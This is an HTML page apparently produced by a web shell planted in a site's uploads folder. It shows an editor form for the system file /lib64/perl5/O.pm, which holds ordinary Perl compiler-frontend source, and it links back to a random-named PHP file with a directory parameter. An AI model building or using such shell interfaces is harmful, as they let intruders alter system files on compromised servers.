<h2>Edit File - O.pm</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/lib64/perl5/O.pm">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">package O;

our $VERSION = &#039;1.01&#039;;

use B qw(minus_c save_BEGINs);
use Carp;

sub import {
    my ($class, @options) = @_;
    my ($quiet, $veryquiet) = (0, 0);
    if ($options[0] eq &#039;-q&#039; || $options[0] eq &#039;-qq&#039;) {
	$quiet = 1;
	open (SAVEOUT, &quot;&gt;&amp;STDOUT&quot;);
	close STDOUT;
	open (STDOUT, &quot;&gt;&quot;, \$O::BEGIN_output);
	if ($options[0] eq &#039;-qq&#039;) {
	    $veryquiet = 1;
	}
	shift @options;
    }
    my $backend = shift (@options);
    eval q[
	BEGIN {
	    minus_c;
	    save_BEGINs;
	}

	CHECK {
	    if ($quiet) {
		close STDOUT;
		open (STDOUT, &quot;&gt;&amp;SAVEOUT&quot;);
		close SAVEOUT;
	    }

	    # Note: if you change the code after this &#039;use&#039;, please
	    # change the fudge factors in B::Concise (grep for
	    # &quot;fragile kludge&quot;) so that its output still looks
	    # nice. Thanks. --smcc
	    use B::].$backend.q[ ();
	    if ($@) {
		croak &quot;use of backend $backend failed: $@&quot;;
	    }


	    my $compilesub = &amp;{&quot;B::${backend}::compile&quot;}(@options);
	    if (ref($compilesub) ne &quot;CODE&quot;) {
		die $compilesub;
	    }

	    local $savebackslash = $\;
	    local ($\,$&quot;,$,) = (undef,&#039; &#039;,&#039;&#039;);
	    &amp;$compilesub();

	    close STDERR if $veryquiet;
	}
    ];
    die $@ if $@;
}

1;

__END__

=head1 NAME

O - Generic interface to Perl Compiler backends

=head1 SYNOPSIS

	perl -MO=[-q,]Backend[,OPTIONS] foo.pl

=head1 DESCRIPTION

This is the module that is used as a frontend to the Perl Compiler.

If you pass the C&lt;-q&gt; option to the module, then the STDOUT
filehandle will be redirected into the variable C&lt;$O::BEGIN_output&gt;
during compilation.  This has the effect that any output printed
to STDOUT by BEGIN blocks or use&#039;d modules will be stored in this
variable rather than printed. It&#039;s useful with those backends which
produce output themselves (C&lt;Deparse&gt;, C&lt;Concise&gt; etc), so that
their output is not confused with that generated by the code
being compiled.

The C&lt;-qq&gt; option behaves like C&lt;-q&gt;, except that it also closes
STDERR after deparsing has finished. This suppresses the &quot;Syntax OK&quot;
message normally produced by perl.

=head1 CONVENTIONS

Most compiler backends use the following conventions: OPTIONS
consists of a comma-separated list of words (no white-space).
The C&lt;-v&gt; option usually puts the backend into verbose mode.
The C&lt;-ofile&gt; option generates output to B&lt;file&gt; instead of
stdout. The C&lt;-D&gt; option followed by various letters turns on
various internal debugging flags. See the documentation for the
desired backend (named C&lt;B::Backend&gt; for the example above) to
find out about that backend.

=head1 IMPLEMENTATION

This section is only necessary for those who want to write a
compiler backend module that can be used via this module.

The command-line mentioned in the SYNOPSIS section corresponds to
the Perl code

    use O (&quot;Backend&quot;, OPTIONS);

The C&lt;O::import&gt; function loads the appropriate C&lt;B::Backend&gt; module
and calls its C&lt;compile&gt; function, passing it OPTIONS. That function
is expected to return a sub reference which we&#039;ll call CALLBACK. Next,
the &quot;compile-only&quot; flag is switched on (equivalent to the command-line
option C&lt;-c&gt;) and a CHECK block is registered which calls
CALLBACK. Thus the main Perl program mentioned on the command-line is
read in, parsed and compiled into internal syntax tree form. Since the
C&lt;-c&gt; flag is set, the program does not start running (excepting BEGIN
blocks of course) but the CALLBACK function registered by the compiler
backend is called.

In summary, a compiler backend module should be called &quot;B::Foo&quot;
for some foo and live in the appropriate directory for that name.
It should define a function called C&lt;compile&gt;. When the user types

    perl -MO=Foo,OPTIONS foo.pl

that function is called and is passed those OPTIONS (split on
commas). It should return a sub ref to the main compilation function.
After the user&#039;s program is loaded and parsed, that returned sub ref
is invoked which can then go ahead and do the compilation, usually by
making use of the C&lt;B&gt; module&#039;s functionality.

=head1 BUGS

The C&lt;-q&gt; and C&lt;-qq&gt; options don&#039;t work correctly if perl isn&#039;t
compiled with PerlIO support : STDOUT will be closed instead of being
redirected to C&lt;$O::BEGIN_output&gt;.

=head1 AUTHOR

Malcolm Beattie, C&lt;mbeattie@sable.ox.ac.uk&gt;

=cut
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/uploads/products/others/6a3fbcc2deec3_65.php?dir=." class="btn gray">Kembali</a>
              </form>